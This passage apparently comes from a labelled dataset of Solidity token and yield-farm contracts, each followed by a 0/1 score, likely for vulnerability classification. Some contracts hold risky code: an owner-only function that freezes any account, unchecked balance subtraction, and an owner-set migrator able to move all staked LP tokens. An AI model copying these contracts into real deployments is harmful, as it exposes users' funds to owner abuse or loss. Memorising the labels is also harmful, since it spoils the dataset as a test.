Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function PortalToken() public{ initialOwner = msg.sender; balance[msg.sender] = supply; creationBlock = block.number; creationTime = block.timestamp; } function balanceOf(address _account) constant public returns (uint) { return balance[_account]; } function jailAmountOf(address _account) constant public returns (uint256) { return jailAmount[_account]; } function totalSupply() constant public returns (uint) { return supply; } function transfer(address _to, uint256 _value) public returns (bool success) { if (!transfersEnabled) revert(); if ( jail[msg.sender] >= block.timestamp ) revert(); if ( balance[msg.sender] - _value < jailAmount[msg.sender]) revert(); return doTransfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (!transfersEnabled) revert(); if ( jail[msg.sender] >= block.timestamp || jail[_to] >= block.timestamp || jail[_from] >= block.timestamp ) revert(); if ( balance[_from] - _value < jailAmount[_from]) revert(); if (allowance(_from, msg.sender) < _value) revert(); m_allowance[_from][msg.sender] -= _value; if ( !(doTransfer(_from, _to, _value)) ) { m_allowance[_from][msg.sender] += _value; return false; } else { return true; } } function doTransfer(address _from, address _to, uint _value) internal returns (bool success) { if (balance[_from] >= _value && balance[_to] + _value >= balance[_to]) { balance[_from] -= _value; balance[_to] += _value; Transfer(_from, _to, _value); return true; } else { return false; } } function approve(address _spender, uint256 _value) public returns (bool success) { if (!transfersEnabled) revert(); if ( jail[msg.sender] >= block.timestamp || jail[_spender] >= block.timestamp ) revert(); if ( balance[msg.sender] - _value < jailAmount[msg.sender]) revert(); if ( (_value != 0) && (allowance(msg.sender, _spender) != 0) ) revert(); m_allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { if (!transfersEnabled) revert(); return m_allowance[_owner][_spender]; } function enableTransfers(bool _transfersEnabled) public returns (bool) { if (msg.sender != initialOwner) revert(); transfersEnabled = _transfersEnabled; return transfersEnabled; } function catchYou(address _target, uint _timestamp, uint256 _amount) public returns (uint) { if (msg.sender != initialOwner) revert(); if (!transfersEnabled) revert(); jail[_target] = _timestamp; jailAmount[_target] = _amount; return jail[_target]; } }
1
4,200
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CashTelex is StandardToken { string public constant name = "Cash Telex"; string public constant symbol = "CTLX"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 800000000 * (10 ** uint256(decimals)); function CashTelex() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
3,106
contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0x6131c42fa982e56929107413a9d526fd99405560); address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
0
1,178
pragma solidity ^0.4.24; contract MyToken { string public name; string public symbol; uint8 public decimals; mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); constructor(uint256 _supply, string _name, string _symbol, uint8 _decimals) public { if (_supply == 0) _supply = 1000000; balanceOf[msg.sender] = _supply; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address _to, uint256 _value) public { if (balanceOf[msg.sender] < _value) {revert();} if (balanceOf[_to] + _value < balanceOf[_to]) {revert();} balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); } }
1
4,195
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "LIKER"; string public constant TOKEN_SYMBOL = "LK"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x63E87262A6AB71CBE41f0fb4E3070cB838FAa318; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
5,130
pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface IMigratorChef { function migrate(IERC20 token) external returns (IERC20); } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } contract TestaFarm is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 amount; mapping (uint256 => uint256) pendingTesta; mapping (uint256 => uint256) rewardDebt; } struct PoolInfo { IERC20 lpToken; IUniswapV2Pair uniswap; uint112 startLiquidity; uint256 allocPoint; uint256 lastRewardBlock; uint256 accTestaPerShare; uint256 debtIndexKey; uint256 startBlock; uint256 initStartBlock; } address public testa; uint256 public testaPerBlock; uint256 public constant BONUS_MULTIPLIER = 10; IMigratorChef public migrator; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public activeReward = 10; int public progressive = 0; int public maxProgressive; int public minProgressive; uint256 public numberOfBlock; uint112 public startLiquidity; uint112 public currentLiquidity; AggregatorV3Interface public priceFeed; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( address _testa, uint256 _testaPerBlock, int _maxProgressive, int _minProgressive, uint256 activateAtBlock, address _priceFeed ) public { testa = _testa; testaPerBlock = _testaPerBlock; maxProgressive = _maxProgressive; minProgressive = _minProgressive; numberOfBlock = activateAtBlock; priceFeed = AggregatorV3Interface(_priceFeed); } modifier onlyEOA() { require(msg.sender == tx.origin, "Not EOA"); _; } function setProgressive(int _maxProgressive, int _minProgressive) public onlyOwner{ maxProgressive = _maxProgressive; minProgressive = _minProgressive; } function setActiveReward(uint256 _activeReward) public onlyOwner{ activeReward = _activeReward; } function harvestAndWithdraw(uint256 _pid, uint256 _amount) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); require(getCountDown(_pid) <= numberOfBlock); require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest"); require(user.amount >= _amount, "No lpToken cannot withdraw"); updatePool(_pid); uint256 testaAmount = pendingTesta( _pid, msg.sender); if(_amount > 0) { user.amount = user.amount.sub(_amount); user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18); user.pendingTesta[pool.debtIndexKey] = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); safeTestaTransfer(msg.sender, testaAmount); } emit Withdraw(msg.sender, _pid, _amount); } function harvest(uint256 _pid) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); require(getCountDown(_pid) <= numberOfBlock); require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest"); require(user.amount > 0, "No lpToken cannot withdraw"); updatePool(_pid); uint256 testaAmount = pendingTesta( _pid, msg.sender); user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18); user.pendingTesta[pool.debtIndexKey] = 0; safeTestaTransfer(msg.sender, testaAmount); } function activate(uint256 _pid) public onlyEOA nonReentrant { require(getCountDown(_pid) >= numberOfBlock, "Cannot activate until 5000 blocks pass"); currentLiquidity = getLiquidity(_pid); PoolInfo storage pool = poolInfo[_pid]; if(pool.initStartBlock == pool.startBlock){ pool.startBlock = getLatestBlock(); pool.startLiquidity = currentLiquidity; }else{ currentLiquidity > pool.startLiquidity ? progressive++ : progressive--; if(progressive <= minProgressive){ progressive = minProgressive; clearPool(_pid); }else if(progressive >= maxProgressive){ progressive = maxProgressive; } pool.startBlock = getLatestBlock(); pool.startLiquidity = currentLiquidity; } safeTestaTransfer(msg.sender, getTestaReward(_pid)); } function getTestaPoolBalance() public view returns (uint256){ return IERC20(testa).balanceOf(address(this)); } function getProgressive() public view returns (int){ return progressive; } function getLatestBlock() public view returns (uint256) { return block.number; } function getCountDown(uint256 _pid) public view returns (uint256){ require(getLatestBlock() > getStartedBlock(_pid)); return getLatestBlock().sub(getStartedBlock(_pid)); } function getStartedBlock(uint256 _pid) public view returns (uint256){ PoolInfo storage pool = poolInfo[_pid]; return pool.startBlock; } function getLiquidity(uint256 _pid) public view returns (uint112){ PoolInfo storage pool = poolInfo[_pid]; ( , uint112 _reserve1, ) = pool.uniswap.getReserves(); return _reserve1; } function getLatestPrice() public view returns (int) { ( uint80 roundID, int price, uint startedAt, uint timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); require(timeStamp > 0, "Round not complete"); return price; } function getTestaReward(uint256 _pid) public view returns (uint256){ PoolInfo storage pool = poolInfo[_pid]; (uint112 _reserve0, uint112 _reserve1, ) = pool.uniswap.getReserves(); uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10); uint256 testaPerDollar = ethPerDollar.div(uint256(_reserve0).div(uint256(_reserve1)).mul(1e18)); uint256 testaAmount = activeReward.mul(1e18).div(testaPerDollar); return testaAmount; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 startBlock, uint256 _allocPoint, address _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); IUniswapV2Pair uniswap = IUniswapV2Pair(_lpToken); ( , uint112 _reserve1, ) = uniswap.getReserves(); poolInfo.push(PoolInfo({ lpToken: IERC20(_lpToken), allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accTestaPerShare: 0, debtIndexKey: 0, uniswap: uniswap, startLiquidity: _reserve1, startBlock: startBlock, initStartBlock: startBlock })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { return _to.sub(_from); } function clearPool(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; pool.accTestaPerShare = 0; 